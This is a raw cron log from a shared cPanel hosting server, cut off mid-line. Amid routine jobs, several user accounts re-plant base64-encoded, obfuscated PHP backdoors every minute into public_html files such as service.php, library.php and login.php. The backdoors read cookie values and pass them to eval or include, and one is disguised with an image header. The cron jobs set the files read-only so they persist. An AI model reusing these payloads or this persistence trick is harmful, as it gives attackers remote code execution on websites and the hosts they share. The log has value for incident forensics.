Mar  1 04:10:01 medusa CROND[26086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26087]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:10:01 medusa CROND[26089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:10:01 medusa CROND[26081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:10:01 medusa CROND[26080]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:10:01 medusa CROND[26094]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:10:01 medusa CROND[26095]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:10:01 medusa CROND[26096]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:10:01 medusa CROND[26098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:10:01 medusa CROND[26079]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 04:10:01 medusa CROND[26101]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:10:01 medusa CROND[26104]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26118]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:10:01 medusa CROND[26119]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26120]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26125]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:10:01 medusa CROND[26127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26121]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26116]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:11:01 medusa CROND[16380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:11:01 medusa CROND[16379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:11:01 medusa CROND[16381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:11:01 medusa CROND[16382]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:11:01 medusa CROND[16383]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:11:01 medusa CROND[16385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:11:01 medusa CROND[16384]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:11:01 medusa CROND[16386]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:11:01 medusa CROND[16388]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:11:01 medusa CROND[16390]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:11:01 medusa CROND[16393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:11:01 medusa CROND[16396]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:11:01 medusa CROND[16398]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:12:01 medusa CROND[6791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:12:01 medusa CROND[6830]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:12:01 medusa CROND[6831]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:12:01 medusa CROND[6917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:12:01 medusa CROND[6918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:12:01 medusa CROND[6919]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > 